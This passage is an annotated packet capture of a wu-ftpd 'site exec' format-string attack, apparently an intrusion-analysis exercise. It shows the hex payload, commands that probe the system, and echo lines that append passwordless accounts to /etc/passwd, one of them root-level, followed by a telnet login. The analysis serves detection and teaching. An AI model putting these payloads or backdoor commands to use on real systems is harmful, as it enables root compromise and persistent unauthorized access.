2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 63 25 63 25 63 25 2E 66 7C  %.f%.f%c%c%c%.f|
25 70 0D 0A                                      %p..
```

**** The attacker executes exploits and is able to send data over port 21 of the victim's machine. This will allow attacker to run remote commands on victim's box. ****

```
08/01-12:19:03.960624 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5432  DF
*****PA* Seq: 0xCC266EC6   Ack: 0xAD295796   Win: 0x7D78
TCP Options => NOP NOP TS: 7493920 2268867
32 30 30 2D 78 78 28 B0 FF BF 2D 32 2D 32 30 30  200-xx(...-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30  0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
```

```
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D  0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30  0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34  00000000000-2-24
30 6E 61 6E 30 34 34 36 2D 32 30 30 2F 2F 2F 32  0nan0446-200///2
30 34 34 32 39 37 38 35 31 30 31 37 30 38 33 38  0442978510170838
37 38 34 34 39 39 38 39 30 36 35 30 34 35 37 30  7844998906504570
32 37 39 30 37 37 32 33 35 32 33 38 37 33 30 33  2790772352387303
36 33 30 30 32 31 33 32 30 30 38 35 38 36 32 37  6300213200858627
35 38 33 32 31 36 39 35 37 39 31 39 30 37 38 38  5832169579190788
36 30 38 31 32 37 39 35 33 38 35 38 34 39 33 38  6081279538584938
38 38 31 31 39 36 30 30 31 39 36 35 32 33 31 35  8811960019652315
39 34 35 38 33 39 33 34 35 38 30 32 34 33 31 34  9458393458024314
37 34 37 35 37 34 31 32 33 37 39 33 38 32 35 34  7475741237938254
39 33 32 32 37 37 34 34 32 30 30 33 36 38 35 36  9322774420036856
35 37 39 38 34 38 35 34 39 35 39 36 35 39 39 31  5798485495965991
30 30 31 33 37 32 30 33 32 37 30 35 33 39 31 30  0013720327053910
32 32 32 38 39 32 36 30 39 33 38 38 37 36 30 31  2228926093887601
31 38 34 32 35 36 36 37 34 34 30 35 35 38 36 32  1842566744055862
30 38 35 35 37 39 38 35 34 33 37 35 33 38 38 37  0855798543753887
33 37 33 36 34 33 35 32 38 37 35 37 31 33 38 39  3736435287571389
38 31 33 32 37 38 30 34 37 39 34 31 34 32 37 32  8132780479414272
7C 30 78 62 66 66 66 62 30 32 38 0D 0A           |0xbfffb028..
```

**** Signature of site exec attack ****

```
08/01-12:19:03.974426 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8663  DF
******A* Seq: 0xAD295796   Ack: 0xCC267083   Win: 0x3EBC
TCP Options => NOP NOP TS: 2268870 7493920

08/01-12:19:03.975480 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5433  DF
*****PA* Seq: 0xCC267083   Ack: 0xAD295796   Win: 0x7D78
TCP Options => NOP NOP TS: 7493922 2268870
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 78 78  200  (end of 'xx
28 B0 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66  (...%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
```

```
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 63 25 63 25 63 25  %.f%.f%.f%c%c%c%
2E 66 7C 25 70 27 29 0D 0A                       .f|%p')..

08/01-12:19:03.994439 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8664  DF
******A* Seq: 0xAD295796   Ack: 0xCC26723C   Win: 0x3EBC
TCP Options => NOP NOP TS: 2268872 7493922

08/01-12:19:05.985628 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8665  DF
*****PA* Seq: 0xAD295796   Ack: 0xCC26723C   Win: 0x3EBC
TCP Options => NOP NOP TS: 2269071 7493922
73 69 74 65 20 65 78 65 63 20 78 78 28 B0 FF FF  site exec xx(...
BF 25 64 25 2E 31 33 34 36 39 39 30 37 36 64 2E  .%d%.134699076d.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25  %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E  .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66  f%.f%.f%.f%.f%.f
25 2E 66 25 63 25 63 25 63 25 2E 66 7C 25 6E 0D  %.f%c%c%c%.f|%n.
0A                        .

08/01-12:19:06.003255 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5434  DF
******A* Seq: 0xCC26723C   Ack: 0xAD295957   Win: 0x7D78
TCP Options => NOP NOP TS: 7494125 2269071

08/01-12:19:06.003664 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8666  DF
```

*****PA* Seq: 0xAD295957 Ack: 0xCC26723C Win: 0x3EBC
```
TCP Options => NOP NOP TS: 2269072 7494125
2F 62 69 6E 2F 75 6E 61 6D 65 20 2D 61 3B 2F 75  /bin/uname -a;/u
73 72 2F 62 69 6E 2F 69 64 3B 0A                 sr/bin/id;.
```

**** Command sent to victim's machine from the attacker allows attacker to identify hostname along with kernel version / date & time of victim machine ****

```
08/01-12:19:06.023241 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5435  DF
******A* Seq: 0xCC26723C   Ack: 0xAD295972   Win: 0x7D78
TCP Options => NOP NOP TS: 7494127 2269072

08/01-12:20:08.364193 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8667  DF
*****PA* Seq: 0xAD295972   Ack: 0xCC26723C   Win: 0x3EBC
TCP Options => NOP NOP TS: 2275308 7494127
65 63 68 6F 20 22 63 68 75 63 6B 64 3A 3A 31 30  echo "chuckd::10
30 39 3A 31 30 30 3A 43 68 75 63 6B 20 44 2E 3A  09:100:Chuck D.:
2F 74 6D 70 3A 2F 62 69 6E 2F 62 61 73 68 22 20  /tmp:/bin/bash"
3E 3E 20 2F 65 74 63 2F 70 61 73 73 77 64 0A     >> /etc/passwd.
```

**** Command sent to victim's machine that will allow the attacker to modify the /etc/passwd file. This command will append a new user to the /etc/passwd file, so that the attacker will then be able to telnet or ftp back into the victim's machine in the future. The above command will add the user Chuck D. with /tmp as his home directory and with the bash shell.****

```
08/01-12:20:08.384233 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5436  DF
******A* Seq: 0xCC26723C   Ack: 0xAD2959B1   Win: 0x7D78
TCP Options => NOP NOP TS: 7500363 2275308

08/01-12:20:25.917985 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5437  DF
*****PA* Seq: 0xCC26723C   Ack: 0xAD2959B1   Win: 0x7D78
TCP Options => NOP NOP TS: 7502116 2275308
4C 69 6E 75 78 20 62 75 67 73 20 32 2E 32 2E 31  Linux bugs 2.2.1
34 2D 35 2E 30 20 23 31 20 54 68 75 20 4A 75 6E  4-5.0 #1 Thu Jun
20 31 20 30 39 3A 30 38 3A 34 39 20 45 44 54 20   1 09:08:49 EDT
32 30 30 30 20 69 35 38 36 20 75 6E 6B 6E 6F 77  2000 i586 unknow
6E 0A                                            n.

08/01-12:20:25.934263 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8668  DF
******A* Seq: 0xAD2959B1   Ack: 0xCC26727E   Win: 0x3EBC
TCP Options => NOP NOP TS: 2277066 7502116

08/01-12:20:25.942841 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5438  DF
*****PA* Seq: 0xCC26727E   Ack: 0xAD2959B1   Win: 0x7D78
TCP Options => NOP NOP TS: 7502118 2277066
75 69 64 3D 30 28 72 6F 6F 74 29 20 67 69 64 3D  uid=0(root) gid=
30 28 72 6F 6F 74 29 20 65 67 69 64 3D 35 30 28  0(root) egid=50(
```

```
66 74 70 29 20 67 72 6F 75 70 73 3D 35 30 28 66  ftp) groups=50(f
74 70 29 0A                                      tp).
```

**** Victim machine responds back to attacker and verifies information to the attacker on user ID and group ID ****

```
08/01-12:20:25.954258 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8669  DF
******A* Seq: 0xAD2959B1   Ack: 0xCC2672B2   Win: 0x3EBC
TCP Options => NOP NOP TS: 2277068 7502118


08/01-12:21:04.061611 Source.address:1940 -> Linux.mynetwork:21
TCP TTL:64 TOS:0x0 ID:8670  DF
*****PA* Seq: 0xAD2959B1   Ack: 0xCC2672B2   Win: 0x3EBC
TCP Options => NOP NOP TS: 2280878 7502118
65 63 68 6F 20 22 74 6F 6F 72 3A 3A 30 3A 30 3A  echo "toor::0:0:
4F 77 6E 65 64 3A 2F 72 6F 6F 74 3A 2F 62 69 6E  Owned:/root:/bin
2F 62 61 73 68 22 20 3E 3E 20 2F 65 74 63 2F 70    /bash" >> /etc/p
61 73 73 77 64 0A                                asswd.
```

**** Attacker now sends another command to the victim's computer system in the form of another echo command adding another user, but this user will have root privileges. ****

```
08/01-12:21:04.075105 Linux.mynetwork:21 -> Source.address:1940
TCP TTL:64 TOS:0x10 ID:5439  DF
******A* Seq: 0xCC2672B2   Ack: 0xAD2959E7   Win: 0x7D78
TCP Options => NOP NOP TS: 7505932 2280878

08/01-12:21:09.632669 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8672  DF
**S***** Seq: 0xB648A20D   Ack: 0x0   Win: 0x3EBC
TCP Options => MSS: 1460 SackOK TS: 2281435 0 NOP WS: 0

08/01-12:21:09.633078 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5440  DF
**S***A* Seq: 0xD43EF723   Ack: 0xB648A20E   Win: 0x7D78
TCP Options => MSS: 1460 SackOK TS: 7506487 2281435 NOP WS: 0

08/01-12:21:09.633420 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8673  DF
******A* Seq: 0xB648A20E   Ack: 0xD43EF724   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281435 7506487
```

**** Completes three-way-handshake to telnet port 23 on victim's machine ****

```
08/01-12:21:09.642429 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8674  DF
*****PA* Seq: 0xB648A20E   Ack: 0xD43EF724   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281436 7506487
FF FD 03 FF FB 18 FF FB 1F FF FB 20 FF FB 21 FF  ..........  ..!.
FB 22 FF FB 27 FF FD 05 FF FB 23                 ."..'.....#

08/01-12:21:09.642800 Linux.mynetwork:23 -> Source.address:1941
```

```
TCP TTL:64 TOS:0x0 ID:5441  DF
******A* Seq: 0xD43EF724   Ack: 0xB648A229   Win: 0x7D78
TCP Options => NOP NOP TS: 7506488 2281436

08/01-12:21:09.708630 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5444  DF
*****PA* Seq: 0xD43EF724   Ack: 0xB648A229   Win: 0x7D78
TCP Options => NOP NOP TS: 7506495 2281436
FF FD 18 FF FD 20 FF FD 23 FF FD 27             ..... ..#..'

08/01-12:21:09.708973 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8675  DF
******A* Seq: 0xB648A229   Ack: 0xD43EF730   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281443 7506495

08/01-12:21:09.709375 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5445  DF
*****PA* Seq: 0xD43EF730   Ack: 0xB648A229   Win: 0x7D78
TCP Options => NOP NOP TS: 7506495 2281443
FF FB 03 FF FD 1F FF FD 21 FF FE 22 FF FB 05 FF  ........!.."....
FA 20 01 FF F0 FF FA 23 01 FF F0 FF FA 27 01 FF  . .....#.....'..
F0 FF FA 18 01 FF F0                             .......

08/01-12:21:09.713827 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8676  DF
*****PA* Seq: 0xB648A229   Ack: 0xD43EF757   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281443 7506495
FF FA 1F 00 50 00 18 FF F0 FF FA 20 00 33 38 34  ....P...... .384
30 30 2C 33 38 34 30 30 FF F0 FF FA 23 00 6F 72  00,38400....#.or
65 69 6C 6C 79 2E 6F 7A 2E 63 6F 6D 3A 30 2E 30  eilly.oz.com:0.0
FF F0 FF FA 27 00 00 44 49 53 50 4C 41 59 01 6F  ....'..DISPLAY.o
72 65 69 6C 6C 79 2E 6F 7A 2E 63 6F 6D 3A 30 2E  reilly.oz.com:0.
30 FF F0 FF FA 18 00 78 74 65 72 6D FF F0        0......xterm..
```

**** Attacker sends data to telnet port 23 on victim's machine ****

```
08/01-12:21:09.725203 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5446  DF
******A* Seq: 0xD43EF757   Ack: 0xB648A287   Win: 0x7D78
TCP Options => NOP NOP TS: 7506497 2281443

08/01-12:21:09.766701 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5447  DF
*****PA* Seq: 0xD43EF757   Ack: 0xB648A287   Win: 0x7D78
TCP Options => NOP NOP TS: 7506501 2281443
FF FD 01                                        ...

08/01-12:21:09.768989 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8677  DF
*****PA* Seq: 0xB648A287   Ack: 0xD43EF75A   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281449 7506501
FF FC 01                                        ...

08/01-12:21:09.771473 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5448  DF
*****PA* Seq: 0xD43EF75A   Ack: 0xB648A28A   Win: 0x7D78
```

```
TCP Options => NOP NOP TS: 7506501 2281449
FF FB 01 0D 0A 52 65 64 20 48 61 74 20 4C 69 6E .....Red Hat Lin
75 78 20 72 65 6C 65 61 73 65 20 36 2E 32 20 28 ux release 6.2 (
5A 6F 6F 74 29 0D 0A 4B 65 72 6E 65 6C 20 32 2E Zoot)..Kernel 2.
32 2E 31 34 2D 35 2E 30 20 6F 6E 20 61 6E 20 69 2.14-5.0 on an i
35 38 36 0D 0A                                  586..
```

**** Victim's box returns the banner to the attacker verifing OS and release of the kernel version *****

```
08/01-12:21:09.773544 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8678  DF
*****PA* Seq: 0xB648A28A   Ack: 0xD43EF79F   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281449 7506501
FF FD 01                                        ...

08/01-12:21:09.785193 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5449  DF
******A* Seq: 0xD43EF79F   Ack: 0xB648A28D   Win: 0x7D78
TCP Options => NOP NOP TS: 7506503 2281449

08/01-12:21:09.795114 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5450  DF
*****PA* Seq: 0xD43EF79F   Ack: 0xB648A28D   Win: 0x7D78
TCP Options => NOP NOP TS: 7506503 2281449
6C 6F 67 69 6E 3A 20                          login:
```

**** Login prompt for the attacker to log into using one of valid accounts he created on the victim's machine with the wu-ftp exploit ****

```
08/01-12:21:09.814156 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8679  DF
******A* Seq: 0xB648A28D   Ack: 0xD43EF7A6   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281454 7506503

08/01-12:21:11.598579 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8680  DF
*****PA* Seq: 0xB648A28D   Ack: 0xD43EF7A6   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281632 7506503
63                                              c

08/01-12:21:11.599352 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5451  DF
*****PA* Seq: 0xD43EF7A6   Ack: 0xB648A28E   Win: 0x7D78
TCP Options => NOP NOP TS: 7506684 2281632
63                                              c

08/01-12:21:11.614161 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8681  DF
******A* Seq: 0xB648A28E   Ack: 0xD43EF7A7   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281634 7506684

08/01-12:21:11.682778 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8682  DF
*****PA* Seq: 0xB648A28E   Ack: 0xD43EF7A7   Win: 0x3EBC
```

```
TCP Options => NOP NOP TS: 2281640 7506684
68                                                  h

08/01-12:21:11.683433 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5452  DF
*****PA* Seq: 0xD43EF7A7   Ack: 0xB648A28F   Win: 0x7D78
TCP Options => NOP NOP TS: 7506692 2281640
68                                                  h

08/01-12:21:11.694162 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8683  DF
******A* Seq: 0xB648A28F   Ack: 0xD43EF7A8   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281642 7506692

08/01-12:21:11.832072 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8684  DF
*****PA* Seq: 0xB648A28F   Ack: 0xD43EF7A8   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281655 7506692
75                                                  u

08/01-12:21:11.832766 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5453  DF
*****PA* Seq: 0xD43EF7A8   Ack: 0xB648A290   Win: 0x7D78
TCP Options => NOP NOP TS: 7506707 2281655
75                                                  u

08/01-12:21:11.844159 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8685  DF
******A* Seq: 0xB648A290   Ack: 0xD43EF7A9   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281657 7506707

08/01-12:21:12.328367 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8686  DF
*****PA* Seq: 0xB648A290   Ack: 0xD43EF7A9   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281705 7506707
63                                                  c

08/01-12:21:12.329112 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5454  DF
*****PA* Seq: 0xD43EF7A9   Ack: 0xB648A291   Win: 0x7D78
TCP Options => NOP NOP TS: 7506757 2281705
63                                                  c

08/01-12:21:12.344153 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8687  DF
******A* Seq: 0xB648A291   Ack: 0xD43EF7AA   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281707 7506757

08/01-12:21:12.459962 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8688  DF
*****PA* Seq: 0xB648A291   Ack: 0xD43EF7AA   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281718 7506757
6B                                                  k

08/01-12:21:12.460622 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5455  DF
*****PA* Seq: 0xD43EF7AA   Ack: 0xB648A292   Win: 0x7D78
```

```
TCP Options => NOP NOP TS: 7506770 2281718
6B                                                    k

08/01-12:21:12.467340 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8689  DF
*****PA* Seq: 0xB648A292   Ack: 0xD43EF7AB   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281719 7506770
6A                                                    j

08/01-12:21:12.468058 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5456  DF
*****PA* Seq: 0xD43EF7AB   Ack: 0xB648A293   Win: 0x7D78
TCP Options => NOP NOP TS: 7506771 2281719
6A                                                    j

08/01-12:21:12.484152 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8690  DF
******A* Seq: 0xB648A293   Ack: 0xD43EF7AC   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281721 7506771

08/01-12:21:13.910131 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8691  DF
*****PA* Seq: 0xB648A293   Ack: 0xD43EF7AC   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281863 7506771
7F                                                    .

08/01-12:21:13.910889 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5457  DF
*****PA* Seq: 0xD43EF7AC   Ack: 0xB648A294   Win: 0x7D78
TCP Options => NOP NOP TS: 7506915 2281863
08 20 08                                              . .

08/01-12:21:13.924148 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8692  DF
******A* Seq: 0xB648A294   Ack: 0xD43EF7AF   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281865 7506915

08/01-12:21:14.243385 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8693  DF
*****PA* Seq: 0xB648A294   Ack: 0xD43EF7AF   Win: 0x3EBC
TCP Options => NOP NOP TS: 2281896 7506915
64                                                    d

08/01-12:21:14.244152 Linux.mynetwork:23 -> Source.address:1941
TCP TTL:64 TOS:0x0 ID:5458  DF
*****PA* Seq: 0xD43EF7AF   Ack: 0xB648A295   Win: 0x7D78
TCP Options => NOP NOP TS: 7506948 2281896
64
                                                      d
```

**** Attacker logged in as Chuck D, the first account he created on the victim's machine using the remote exploit (NO PASSWORD) ****

```
08/01-12:21:14.264153 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8694  DF
******A* Seq: 0xB648A295   Ack: 0xD43EF7B0   Win: 0x3EBC
```

```
TCP Options => NOP NOP TS: 2281899 7506948

08/01-12:21:15.438817 Source.address:1941 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x10 ID:8695  DF
*****PA* Seq: 0xB648A295   Ack: 0xD43EF7B0   Win: 0x3EBC
TCP Options => NOP NOP TS: 2282016 7506948
0D 00                                              ..

08/01-12:21:15.439601 Linux.mynetwork:23 -> Source.address:1941
